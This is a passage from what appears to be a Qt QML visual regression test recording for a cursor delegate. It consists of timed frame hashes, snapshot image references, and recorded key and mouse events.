"e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 1072 - hash: "90ac5ad7ce23786fe838426605e737e1" - } - Frame { - msec: 1088 - hash: "1e4424f1f40bfce3205e1d1401ab0dcf" - } - Frame { - msec: 1104 - hash: "edca065d42bf9b63a79d1e97d1a1eed0" - } - Frame { - msec: 1120 - hash: "3c3fb1d8dbe7443f80550a30ada7f120" - } - Frame { - msec: 1136 - hash: "127cc30967f95cb88f4238e0b33c741d" - } - Frame { - msec: 1152 - hash: "531c5ca6992c4a12927c61e22c02dd6b" - } - Frame { - msec: 1168 - hash: "228551c38b567f1550b44f9dac08786b" - } - Frame { - msec: 1184 - hash: "bcef4a0ff72330f05f2bf5042e414fde" - } - Frame { - msec: 1200 - hash: "5c1000fdc279742cbe46987045c0a92b" - } - Frame { - msec: 1216 - hash: "c40d8d42a55dde7dbbcae2dda9aaccb8" - } - Frame { - msec: 1232 - hash: "1100ef4e2db234ea77ff4c70df6bfbe7" - } - Frame { - msec: 1248 - hash: "24cebf60ade86469a154abaa64f3b40d" - } - Frame { - msec: 1264 - hash: "0034ef8851c9810ed5d50496aea367da" - } - Frame { - msec: 1280 - hash: "a5862eaf12cc342054fd3f8d1f4c91c3" - } - Frame { - msec: 1296 - hash: "4262c79b6844d4d62aa9fb02c335fb95" - } - Frame { - msec: 1312 - hash: "874296e182abe96e58f9c0463a0f32c9" - } - Frame { - msec: 1328 - hash: "9b7503189ecf2999934716f227469463" - } - Frame { - msec: 1344 - hash: "aadc71923926885ccce87e6be1c742d7" - } - Frame { - msec: 1360 - hash: "500f7b72acc877fc1662e4f4ceb090e1" - } - Frame { - msec: 1376 - hash: "3caa36cc3857803248d12ec09ea357df" - } - Key { - type: 6 - key: 16777232 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1392 - hash: "6ba6a1a05c5a9ec0d2897b3454affd09" - } - Frame { - msec: 1408 - hash: "0285340a2e03568810a76d840369f5c8" - } - Frame { - msec: 1424 - hash: "77e7a4a4a9c38cd7b5ef734d39089e3f" - } - Frame { - msec: 1440 - hash: "d0ad97647c5092a64426187406ec5316" - } - Frame { - msec: 1456 - hash: "a6bdf56b4f8783969935488e1955e59c" - } - Key { - type: 7 - key: 16777232 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1472 - hash: "ff5fac70804eb01da28c2988aba520a4" - } - Frame { - msec: 1488 - hash: "60d24c160adb8e074c04d4f40bf140a8" - } - Frame { - msec: 1504 - hash: "84cad44c4cccf8a0942865719d05c2eb" - } - Frame { - msec: 1520 - hash: "907c6363d1e524f391d001944febe1ac" - } - Frame { - msec: 1536 - hash: "313a06d40274e46453342e66236f09f8" - } - Frame { - msec: 1552 - hash: "0d410f7bfa3e4c58948a8f1e7c7695c4" - } - Frame { - msec: 1568 - hash: "a9911e076af337fe30e322f03d84a528" - } - Frame { - msec: 1584 - hash: "4a8efcc341bba9ba621ce0f785a75432" - } - Frame { - msec: 1600 - hash: "479f192c8cf7b8e4407655382402700f" - } - Frame { - msec: 1616 - hash: "63dc16e66def35abba5159d5650f165d" - } - Frame { - msec: 1632 - hash: "26e88aae512304c28d425c311febce1b" - } - Key { - type: 6 - key: 16777233 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1648 - hash: "8dca7a7912ddaa853dff9c09882082b1" - } - Frame { - msec: 1664 - hash: "5c3ebee155e29a0ba4a45706dd87396a" - } - Frame { - msec: 1680 - hash: "29a517a66867f6f527c6db5bb5651f92" - } - Frame { - msec: 1696 - hash: "a4fde31f55f866224eca2b51586b601f" - } - Frame { - msec: 1712 - hash: "9c9c7fb9fb8aab8c24f2eb03df791a00" - } - Frame { - msec: 1728 - hash: "dd972e37166d1186a717a956343a7758" - } - Key { - type: 7 - key: 16777233 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1744 - hash: "1af5e24651ef422ff93dab7bd2a8f832" - } - Frame { - msec: 1760 - hash: "885473be4e44bb1f4b014f9b3d4d2e74" - } - Frame { - msec: 1776 - hash: "1f6e0407392322c34567caaecae5b449" - } - Frame { - msec: 1792 - hash: "dcae85a4b05c450b6b1619f9fd7e17b0" - } - Frame { - msec: 1808 - hash: "3b872e5030e34edf678ac2547df48699" - } - Frame { - msec: 1824 - hash: "5d76b324496297d08cff57b4c21ce592" - } - Frame { - msec: 1840 - hash: "4acfe3c4cf2f4e477f1a72817af556d2" - } - Frame { - msec: 1856 - hash: "a04671fe8d28cfb629f2090e342747fb" - } - Frame { - msec: 1872 - hash: "2474db802c7d8e0ec8fa7f958c04bf30" - } - Frame { - msec: 1888 - hash: "11a1e1f38c407de4bc069aa192319fe4" - } - Frame { - msec: 1904 - hash: "ec8aacc8d2280068dd7f020e8648afea" - } - Frame { - msec: 1920 - image: "cursorDelegate.1.png" - } - Frame { - msec: 1936 - hash: "fbbe4d0fed6274968a89e02bb1ca5685" - } - Frame { - msec: 1952 - hash: "13d478424a8f0cab8bab6a157efce318" - } - Frame { - msec: 1968 - hash: "ea6bc9ec217fb80b86276a2675c08a0f" - } - Frame { - msec: 1984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2064 - hash: "ea6bc9ec217fb80b86276a2675c08a0f" - } - Frame { - msec: 2080 - hash: "13d478424a8f0cab8bab6a157efce318" - } - Frame { - msec: 2096 - hash: "fbbe4d0fed6274968a89e02bb1ca5685" - } - Frame { - msec: 2112 - hash: "00dedd48bd6861cb4bf4953162a67cc0" - } - Key { - type: 6 - key: 16777248 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2128 - hash: "ec8aacc8d2280068dd7f020e8648afea" - } - Frame { - msec: 2144 - hash: "11a1e1f38c407de4bc069aa192319fe4" - } - Frame { - msec: 2160 - hash: "2474db802c7d8e0ec8fa7f958c04bf30" - } - Frame { - msec: 2176 - hash: "a04671fe8d28cfb629f2090e342747fb" - } - Frame { - msec: 2192 - hash: "4acfe3c4cf2f4e477f1a72817af556d2" - } - Frame { - msec: 2208 - hash: "5d76b324496297d08cff57b4c21ce592" - } - Frame { - msec: 2224 - hash: "3b872e5030e34edf678ac2547df48699" - } - Frame { - msec: 2240 - hash: "dcae85a4b05c450b6b1619f9fd7e17b0" - } - Frame { - msec: 2256 - hash: "1f6e0407392322c34567caaecae5b449" - } - Frame { - msec: 2272 - hash: "885473be4e44bb1f4b014f9b3d4d2e74" - } - Frame { - msec: 2288 - hash: "1af5e24651ef422ff93dab7bd2a8f832" - } - Frame { - msec: 2304 - hash: "dd972e37166d1186a717a956343a7758" - } - Frame { - msec: 2320 - hash: "9c9c7fb9fb8aab8c24f2eb03df791a00" - } - Key { - type: 6 - key: 16777232 - modifiers: 33554432 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2336 - hash: "aec9683f3a677dab781bdf3bbf7cce5e" - } - Frame { - msec: 2352 - hash: "63c6a7810dec832f1b8288807f1d932a" - } - Frame { - msec: 2368 - hash: "70409eeee50fbb54097a3c430e1e1f21" - } - Frame { - msec: 2384 - hash: "efc77b82c0ffd7f3fbe5fed06ea418bd" - } - Frame { - msec: 2400 - hash: "26e88aae512304c28d425c311febce1b" - } - Frame { - msec: 2416 - hash: "63dc16e66def35abba5159d5650f165d" - } - Frame { - msec: 2432 - hash: "479f192c8cf7b8e4407655382402700f" - } - Key { - type: 7 - key: 16777232 - modifiers: 33554432 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2448 - hash: "4a8efcc341bba9ba621ce0f785a75432" - } - Frame { - msec: 2464 - hash: "a9911e076af337fe30e322f03d84a528" - } - Frame { - msec: 2480 - hash: "0d410f7bfa3e4c58948a8f1e7c7695c4" - } - Frame { - msec: 2496 - hash: "313a06d40274e46453342e66236f09f8" - } - Frame { - msec: 2512 - hash: "907c6363d1e524f391d001944febe1ac" - } - Frame { - msec: 2528 - hash: "84cad44c4cccf8a0942865719d05c2eb" - } - Frame { - msec: 2544 - hash: "60d24c160adb8e074c04d4f40bf140a8" - } - Frame { - msec: 2560 - hash: "ff5fac70804eb01da28c2988aba520a4" - } - Frame { - msec: 2576 - hash: "a6bdf56b4f8783969935488e1955e59c" - } - Frame { - msec: 2592 - hash: "d0ad97647c5092a64426187406ec5316" - } - Frame { - msec: 2608 - hash: "77e7a4a4a9c38cd7b5ef734d39089e3f" - } - Frame { - msec: 2624 - hash: "0285340a2e03568810a76d840369f5c8" - } - Frame { - msec: 2640 - hash: "6ba6a1a05c5a9ec0d2897b3454affd09" - } - Frame { - msec: 2656 - hash: "3caa36cc3857803248d12ec09ea357df" - } - Frame { - msec: 2672 - hash: "500f7b72acc877fc1662e4f4ceb090e1" - } - Frame { - msec: 2688 - hash: "aadc71923926885ccce87e6be1c742d7" - } - Frame { - msec: 2704 - hash: "9b7503189ecf2999934716f227469463" - } - Frame { - msec: 2720 - hash: "874296e182abe96e58f9c0463a0f32c9" - } - Frame { - msec: 2736 - hash: "4262c79b6844d4d62aa9fb02c335fb95" - } - Frame { - msec: 2752 - hash: "a5862eaf12cc342054fd3f8d1f4c91c3" - } - Frame { - msec: 2768 - hash: "0034ef8851c9810ed5d50496aea367da" - } - Frame { - msec: 2784 - hash: "24cebf60ade86469a154abaa64f3b40d" - } - Key { - type: 7 - key: 16777248 - modifiers: 33554432 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2800 - hash: "1100ef4e2db234ea77ff4c70df6bfbe7" - } - Frame { - msec: 2816 - hash: "c40d8d42a55dde7dbbcae2dda9aaccb8" - } - Frame { - msec: 2832 - hash: "5c1000fdc279742cbe46987045c0a92b" - } - Frame { - msec: 2848 - hash: "bcef4a0ff72330f05f2bf5042e414fde" - } - Frame { - msec: 2864 - hash: "228551c38b567f1550b44f9dac08786b" - } - Frame { - msec: 2880 - image: "cursorDelegate.2.png" - } - Frame { - msec: 2896 - hash: "127cc30967f95cb88f4238e0b33c741d" - } - Frame { - msec: 2912 - hash: "3c3fb1d8dbe7443f80550a30ada7f120" - } - Frame { - msec: 2928 - hash: "edca065d42bf9b63a79d1e97d1a1eed0" - } - Frame { - msec: 2944 - hash: "1e4424f1f40bfce3205e1d1401ab0dcf" - } - Frame { - msec: 2960 - hash: "90ac5ad7ce23786fe838426605e737e1" - } - Frame { - msec: 2976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3072 - hash: "90ac5ad7ce23786fe838426605e737e1" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3088 - hash: "cf467854dfde9b2111bc6e7e4442aab5" - } - Frame { - msec: 3104 - hash: "df6f025130dc82f4764def81cec5fa7b" - } - Frame { - msec: 3120 - hash: "bdcafed4ae9c890eec2e3e0cb2ff5a14" - } - Frame { - msec: 3136 - hash: "14b328c8ec6276e022643102af80fa44" - } - Frame { - msec: 3152 - hash: "078d75d72bff036574b85ac0aeaaf2b6" - } - Frame { - msec: 3168 - hash: "fbefb1e0801f4578ab93dd7ff4062e68" - } - Frame { - msec: 3184 - hash: "eac8375d9b9cf0afbf232e27c6ceb037" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3200 - hash: "3462a3e166120515e67430600e4653f8" - } - Frame { - msec: 3216 - hash: "7f2d9959323f0707e36ecb2252c89727" - } - Frame { - msec: 3232 - hash: "0a1c2eb8a7451a5e37fefb96a58a88a1" - } - Frame { - msec: 3248 - hash: "4a02aaca12e3fd86ee3b516b3a307f86" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3264 - hash: "0034ef8851c9810ed5d50496aea367da" - } - Frame { - msec: 3280 - hash: "a5862eaf12cc342054fd3f8d1f4c91c3" - } - Frame { - msec: 3296 - hash: "4262c79b6844d4d62aa9fb02c335fb95" - } - Frame { - msec: 3312 - hash: "874296e182abe96e58f9c0463a0f32c9" - } - Frame { - msec: 3328 - hash: "9b7503189ecf2999934716f227469463" - } - Frame { - msec: 3344 - hash: "aadc71923926885ccce87e6be1c742d7" - } - Frame { - msec: 3360 - hash: "500f7b72acc877fc1662e4f4ceb090e1" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3376 - hash: "3caa36cc3857803248d12ec09ea357df" - } - Frame { - msec: 3392 - hash: "6ba6a1a05c5a9ec0d2897b3454affd09" - } - Frame { - msec: 3408 - hash: "0285340a2e03568810a76d840369f5c8" - } - Frame { - msec: 3424 - hash: "77e7a4a4a9c38cd7b5ef734d39089e3f" - } - Frame { - msec: 3440 - hash: "d0ad97647c5092a64426187406ec5316" - } - Frame { - msec: 3456 - hash: "a6bdf56b4f8783969935488e1955e59c" - } - Frame { - msec: 3472 - hash: "ff5fac70804eb01da28c2988aba520a4" - } - Frame { - msec: 3488 - hash: "60d24c160adb8e074c04d4f40bf140a8" - } - Frame { - msec: 3504 - hash: "84cad44c4cccf8a0942865719d05c2eb" - } - Frame { - msec: 3520 - hash: "907c6363d1e524f391d001944febe1ac" - } - Frame { - msec: 3536 - hash: "313a06d40274e46453342e66236f09f8" - } - Frame { - msec: 3552 - hash: "0d410f7bfa3e4c58948a8f1e7c7695c4" - } - Frame { - msec: 3568 - hash: "a9911e076af337fe30e322f03d84a528" - } - Frame { - msec: 3584 - hash: "4a8efcc341bba9ba621ce0f785a75432" - } - Frame { - msec: 3600 - hash: "479f192c8cf7b8e4407655382402700f" - } - Frame { - msec: 3616 - hash: "63dc16e66def35abba5159d5650f165d" - } - Frame { - msec: 3632 - hash: "26e88aae512304c28d425c311febce1b" - } - Frame { - msec: 3648 - hash: "efc77b82c0ffd7f3fbe5fed06ea418bd" - } - Frame { - msec: 3664 - hash: "70409eeee50fbb54097a3c430e1e1f21" - } - Frame { - msec: 3680 - hash: "63c6a7810dec832f1b8288807f1d932a" - } - Frame { - msec: 3696 - hash: "aec9683f3a677dab781bdf3bbf7cce5e" - } - Frame { - msec: 3712 - hash: "2e6dd79fc23acbf710e757f3d0999ab8" - } - Frame { - msec: 3728 - hash: "4d9dd9e515a21478cb3364032acf8c15" - } - Frame { - msec: 3744 - hash: "5dc2129cac6e667d39da3304a37a76f2" - } - Frame { - msec: 3760 - hash: "ab5eb4750139875586a346b1c3a84f42" - } - Frame { - msec: 3776 - hash: "96d3bd62d4a0bf39a672b97fcc050bd5" - } - Frame { - msec: 3792 - hash: "546cec655631b5802eb4d7008093eb69" - } - Frame { - msec: 3808 - hash: "85f33f1bf1b1e11be450ab85bf6dab3d" - } - Frame { - msec: 3824 - hash: "44b195297acd1bf59e43751df8dc1c1d" - } - Frame { - msec: 3840 - image: "cursorDelegate.3.png" - } - Frame { - msec: 3856 - hash: "47942253c07fd39894445ff5e5b9608c" - } - Frame { - msec: 3872 - hash: "d26d71b1c03fb21550820dd1586a7a8e" - } - Frame { - msec: 3888 - hash: "37ec2ed29006575e8bd41a1989b75e27" - } - Frame { - msec: 3904 - hash: "5ad1ab34572f9ef339774134bc0ab407" - } - Frame { - msec: 3920 - hash: "a4f68f6ee46642e7cc5a542b9f8a2464" - } - Frame { - msec: 3936 - hash: "fce95d18a0efee74554209ca39637062" - } - Frame { - msec: 3952 - hash: "1587fc2668f1f44e76f252bfd75f2708" - } - Frame { - msec: 3968 - hash: "e0a6eb42de552281e297ca5c50c1df23" - } - Frame { - msec: 3984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4064 - hash: "e0a6eb42de552281e297ca5c50c1df23" - } - Frame { - msec: 4080 - hash: "1587fc2668f1f44e76f252bfd75f2708" - } - Frame { - msec: 4096 - hash: "fce95d18a0efee74554209ca39637062" - } - Frame { - msec: 4112 - hash: "a4f68f6ee46642e7cc5a542b9f8a2464" - } - Frame { - msec: 4128 - hash: "5ad1ab34572f9ef339774134bc0ab407" - } - Frame { - msec: 4144 - hash: "37ec2ed29006575e8bd41a1989b75e27" - } - Frame { - msec: 4160 - hash: "d26d71b1c03fb21550820dd1586a7a8e" - } - Frame { - msec: 4176 - hash: "47942253c07fd39894445ff5e5b9608c" - } - Frame { - msec: 4192 - hash: "a62f1cbf43da0381c7c9099d47ded882" - } - Frame { - msec: 4208 - hash: "44b195297acd1bf59e43751df8dc1c1d" - } - Frame { - msec: 4224 - hash: "85f33f1bf1b1e11be450ab85bf6dab3d" - } - Frame { - msec: 4240 - hash: "546cec655631b5802eb4d7008093eb69" - } - Frame { - msec: 4256 - hash: "96d3bd62d4a0bf39a672b97fcc050bd5" - } - Frame { - msec: 4272 - hash: "ab5eb4750139875586a346b1c3a84f42" - } - Frame { - msec: 4288 - hash: "5dc2129cac6e667d39da3304a37a76f2" - } - Frame { - msec: 4304 - hash: "4d9dd9e515a21478cb3364032acf8c15" - } - Frame { - msec: 4320 - hash: "2e6dd79fc23acbf710e757f3d0999ab8" - } - Frame { - msec: 4336 - hash: "aec9683f3a677dab781bdf3bbf7cce5e" - } - Frame { - msec: 4352 - hash: "63c6a7810dec832f1b8288807f1d932a" - } - Frame { - msec: 4368 - hash: "70409eeee50fbb54097a3c430e1e1f21" - } - Frame { - msec: 4384 - hash: "efc77b82c0ffd7f3fbe5fed06ea418bd" - } - Frame { - msec: 4400 - hash: "26e88aae512304c28d425c311febce1b" - } - Frame { - msec: 4416 - hash: "63dc16e66def35abba5159d5650f165d" - } - Frame { - msec: 4432 - hash: "479f192c8cf7b8e4407655382402700f" - } - Frame { - msec: 4448 - hash: "4a8efcc341bba9ba621ce0f785a75432" - } - Frame { - msec: 4464 - hash: "a9911e076af337fe30e322f03d84a528" - } - Frame { - msec: 4480 - hash: "0d410f7bfa3e4c58948a8f1e7c7695c4" - } - Frame { - msec: 4496 - hash: "313a06d40274e46453342e66236f09f8" - } - Frame { - msec: 4512 - hash: "907c6363d1e524f391d001944febe1ac" - } - Frame { - msec: 4528 - hash: "84cad44c4cccf8a0942865719d05c2eb" - } - Frame { - msec: 4544 - hash: "60d24c160adb8e074c04d4f40bf140a8" - } - Frame { - msec: 4560 - hash: "ff5fac70804eb01da28c2988aba520a4" - } - Frame { - msec: 4576 - hash: "a6bdf56b4f8783969935488e1955e59c" - } - Frame { - msec: 4592 - hash: "d0ad97647c5092a64426187406ec5316" - } - Frame { - msec: 4608 - hash: "77e7a4a4a9c38cd7b5ef734d39089e3f" - } - Frame { - msec: 4624 - hash: "0285340a2e03568810a76d840369f5c8" - } - Frame { - msec: 4640 - hash: "6ba6a1a05c5a9ec0d2897b3454affd09" - } - Frame { - msec: 4656 - hash: "3caa36cc3857803248d12ec09ea357df" - } - Frame { - msec: 4672 - hash: "500f7b72acc877fc1662e4f4ceb090e1" - } - Frame { - msec: 4688 - hash: "aadc71923926885ccce87e6be1c742d7" - } - Frame { - msec: 4704 - hash: "9b7503189ecf2999934716f227469463" - } - Frame { - msec: 4720 - hash: "874296e182abe96e58f9c0463a0f32c9" - } - Frame { - msec: 4736 - hash: "4262c79b6844d4d62aa9fb02c335fb95" - } - Frame { - msec: 4752 - hash: "a5862eaf12cc342054fd3f8d1f4c91c3" - } - Frame { - msec: 4768 - hash: "0034ef8851c9810ed5d50496aea367da" - } - Frame { - msec: 4784 - hash: "24cebf60ade86469a154abaa64f3b40d" - } - Frame { - msec: 4800 - image: "cursorDelegate.4.png" - } - Frame { - msec: 4816 - hash: "c40d8d42a55dde7dbbcae2dda9aaccb8" - } - Frame { - msec: 4832 - hash: "5c1000fdc279742cbe46987045c0a92b" - } - Frame { - msec: 4848 - hash: "bcef4a0ff72330f05f2bf5042e414fde" - } - Frame { - msec: 4864 - hash: "228551c38b567f1550b44f9dac08786b" - } - Frame { - msec: 4880 - hash: "531c5ca6992c4a12927c61e22c02dd6b" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 130; y: 101 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4896 - hash: "14b328c8ec6276e022643102af80fa44" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 130; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4912 - hash: "bdcafed4ae9c890eec2e3e0cb2ff5a14" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 131; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4928 - hash: "df6f025130dc82f4764def81cec5fa7b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 132; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4944 - hash: "cf467854dfde9b2111bc6e7e4442aab5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 133; y: 103 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 134; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4960 - hash: "cfcdf63ca06c2b9ab197821bc1e48c7c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 135; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 136; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 137; y: 103 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 138; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 139; y: 101 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 140; y: 101 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 141; y: 100 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 143; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 144; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5072 - hash: "cfcdf63ca06c2b9ab197821bc1e48c7c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 146; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5088 - hash: "cf467854dfde9b2111bc6e7e4442aab5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 148; y: 99 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 149; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5104 - hash: "7643fcfb740d33b87915300684e85a44" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 150; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5120 - hash: "1bd041a5e8d2237b51720fed82250303" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 151; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5136 - hash: "1a00c9d3ce747e3bc7ee5878d21260b4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 152; y: 99 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 152; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5152 - hash: "803896c1be68588ba2cddd7effbb8d62" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 153; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5168 - hash: "282ab572698088fba3aba8e6a091aa38" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 154; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5184 - hash: "24402d9e4fabd78bc8f3921db82e554e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 155; y: 98 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 156; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5200 - hash: "39a89e9ca7c4edd9c8503927d639df0f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 157; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5216 - hash: "b984b7d032544acd4dab8901e0af1ef5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 158; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5232 - hash: "e014414626407b0446939ad2ce38b7dd" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 160; y: 98 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 161; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5248 - hash: "beccb93613279e2f48507ddc9a4418e8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 163; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5264 - hash: "dd861f8dc89587301e860217fdf2a701" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 164; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5280 - hash: "1ae0b7a18a7d3ebe4871a0045005e2b7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 166; y: 96 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 168; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5296 - hash: "071e1f8bcc0e541b23d134f32c19d20b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 170; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5312 - hash: "e8ce2716f4595bc5bf68c24c8a63bbfe" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 174; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5328 - hash: "d36a35503af76b12fe5cec65e3f22eda" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 176; y: 96 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 178; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5344 - hash: "cea0f90a56fd5789b3e166f09f2bfcec" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 179; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5360 - hash: "151f5357d9c1a3f1fe09380a287abab0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 180; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5376 - hash: "bdab9d7077734087cb7f9516e9c517bc" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 182; y: 95 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 183; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5392 - hash: "6d6d929a7c7be1d2e7d1b2f98a6866be" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 185; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5408 - hash: "3fbe3f45afc5aa40fff7f795ced8a05d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 187; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5424 - hash: "b35b4dc480aeb76912d927b0ff8676c6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 189; y: 93 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 191; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5440 - hash: "94e82e888280f20cce3ac38b353b79f4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 192; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5456 - hash: "4674fbd35e467bed780a5ea2fe2e258b" - } - Mouse { - 